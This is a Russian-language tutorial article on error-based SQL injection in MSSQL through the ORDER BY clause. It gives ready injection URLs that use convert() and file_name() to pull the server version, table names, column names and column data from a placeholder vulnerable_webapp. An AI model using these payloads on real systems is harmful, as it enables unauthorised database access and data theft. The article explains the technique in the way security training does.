SQL-инъекция через ошибку при помощи оператора «Order By» (MSSQL)

SQL-инъекция через ошибку при помощи оператора «Order By» (MSSQL)

В этой статье мы рассмотрим эксплуатацию SQL-инъекции, когда данные передаются через оператор «Order By» в MSSQL, и приложение возвращает ошибку со стороны SQL-сервера

Автор: Manish Kishan Tanwar

Введение

Уязвимости, связанные с SQL-инъекциями, являются одними из наиболее старых и хорошо известных, которые доставили немало проблем обитателям киберпространства. Специалисты по безопасности опубликовали множество статей, описывающих техники для проведения различных типов атак, включая доступ к информации в базах данных, чтение/запись кода с/на сервер при помощи конструкций «load outfile» и «into outfile» в MySQL и выполнение кода от имени учетной записи SA в MSSQL.

В этой статье мы рассмотрим эксплуатацию SQL-инъекции, когда данные передаются через оператор «Order By» в MSSQL, и приложение возвращает ошибку со стороны SQL-сервера в случае, если есть ошибка в синтаксисе SQL-запроса.

Если информация передается пользователем через SQL-запрос в качестве имени колонки, используемой в операторе «Order By», обычная SQL-инъекция на базе ошибки (Error based SQL Injection) не поможет.

Все дело в том, что в SQL-сервере предусмотрен предопределенный набор правил для SQL-запросов из-за которых, мы не можем воспользоваться техникой «Error based SQL Injection».

С другой стороны, пользователь может передать имя функции внутри оператора «Order by», и в этом случае эксплуатация бреши становится возможной. Мы должны внедрить функцию на стороне SQL-сервера, которая выполняет запрос, передаваемый в качестве аргумента, пытается выполнить операции с результатами выполнения инжектированного запроса, а затем выдает ошибку, через которую отобразятся результаты инжектированного SQL-запроса.

Схема эксплуатации

Существует не так много функций, которые могут выполнять SQL-запрос, передаваемый в качестве аргумента, производят операции по результатам выполнения запроса и выдают результаты выполнения SQL-запроса через ошибку.

Convert() – одна из наиболее часто используемых функции при реализации выполнении инъекций Error based SQL injection в сочетании с оператором «and».

Функция convert() пытается выполнить преобразование результатов запроса, передаваемого во втором аргументе, в соответствие с типом данных, указанным в первом аргументе.

Например, при использовании конструкции convert(int,@@version) вначале будет выполняться SQL-запрос из второго аргумента, а затем функция convert попытается преобразовать результаты выполнения запроса к целочисленному типу. Однако поскольку SQL-запрос возвращает данные типа varchar, преобразование не выполнится, и функция convert возвратит ошибку, суть которой будет сводиться к тому, что результаты выполнения запроса не могут быть преобразованы к целочисленному типу. Именно используя этот трюк, злоумышленник может получить результаты выполнения SQL-запроса.

Перечень функций, при помощи которых доступна реализация похожих сценариев:

  • convert ()

  • file_name ()

  • db_name()

  • col_name()

  • filegroup_name()

  • object_name()

  • schema_name()

  • type_name()

  • cast()

Пример

Предположим, что у нас есть URL, где присутствует уязвимость на базе SQL-инъекции, когда мы передаем содержимое поля «order» через метод HTTP GET:

http://vulnerable_webapp/vulnerable.asp?data=yes&order=column_name

Приложение принимает пользовательские данные из параметра «order» метода HTTP GET и формирует следующий запрос:

Select table_name,column_name from information_schema.columns order by column_name

Примеры инъекций с функцией convert()

Получение версии SQL-сервера

Инжектируемый URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order=convert(int,@@version)

Запрос, выполняемый на стороне сервера:

select table_name,column_name from information_schema.columns order by convert(int,@@version)

Рисунок 1: Пример SQL-инъекции для получения версии сервера с использованием функции convert 

Получение имени таблицы в текущей базе данных

Инжектируемый URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order=CONVERT(int,(select top(1) table_name from information_schema.columns))

Запрос, выполняемый на стороне сервера:

select table_name,column_name from information_schema.columns order by CONVERT(int,(select top(1) table_name from information_schema.tables))

Рисунок 2: Пример SQL-инъекции для извлечения имени таблицы с использованием функции convert

Получение имени колонки таблицы

Для извлечения имени колонки мы будем использовать функцию cast() для указания имени таблицы, из которой будет извлекаться имя колонки. Имя таблицы указано в шестнадцатеричном формате.

Инжектируемый URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order= convert(int,(select top(1) COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar)))

Запрос, выполняемый на стороне сервера:

select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by convert(int,(select top(1) COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar)))

Рисунок 3: Пример SQL-инъекции для извлечения имени колонки с использованием функции convert

Извлечение данных из колонки таблицы

Получение информации из колонки выполняется схожим образом. Достаточно указать имя колонки и имя таблицы в SQL-запросе. В примере ниже используется имя колонки «xserver_name» из таблицы «spt_fallback_db».

Инжектируемый URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order=convert(int,(select top(1) xserver_name from spt_fallback_db))

Запрос, выполняемый на стороне сервера:

select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by convert(int,(select top(1) xserver_name from spt_fallback_db))

Рисунок 4: Пример SQL-инъекции для получения информации из колонки с использованием функции convert

Примеры инъекций с функцией file_name()

Получение версии SQL-сервера

Инжектируемый URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order=file_name(@@version)

Запрос, выполняемый на стороне сервера:

select table_name,column_name from information_schema.columns order by file_name(@@version)

Рисунок 5: Пример SQL-инъекции для получения версии сервера с использованием функции file_name

Получение имени таблицы в текущей базе данных

Инжектируемый URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order=file_name(select top(1) table_name from information_schema.columns)

Запрос, выполняемый на стороне сервера:

select table_name,column_name from information_schema.columns order by file_name(select top(1) table_name from information_schema.tables)

Рисунок 6: Пример SQL-инъекции для извлечения имени таблицы с использованием функции file_name

Получение имени колонки таблицы

Для извлечения имени колонки мы будем использовать функцию cast() для указания имени таблицы, из которой будет извлекаться имя колонки. Имя таблицы указано в шестнадцатеричном формате.

Инжектируемый URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order= file_name(select top(1) COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar))

Запрос, выполняемый на стороне сервера:

select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by file_name(select top(1) COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar))

Рисунок 7: Пример SQL-инъекции для извлечения имени колонки с использованием функции file_name

Извлечение данных из колонки таблицы

Получение информации из колонки выполняется схожим образом. Достаточно указать имя колонки и имя таблицы в SQL-запросе. В примере ниже используется имя колонки «xserver_name» из таблицы «spt_fallback_db».

Инжектируемый URL:

http://vulnerable_webapp/vulnerable.asp?data=yes&order= file_name((select top(1) xserver_name from spt_fallback_db))

Запрос, выполняемый на стороне сервера:

select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by file_name((select top(1) xserver_name from spt_fallback_db))

Рисунок 8: Пример SQL-инъекции для получения информации из колонки с использованием функции file_name

Благодарности

Выражаю особую благодарность IndiShell Crew и Myhackerhouse.

Не ждите, пока хакеры вас взломают - подпишитесь на наш канал и станьте неприступной крепостью!

Подписаться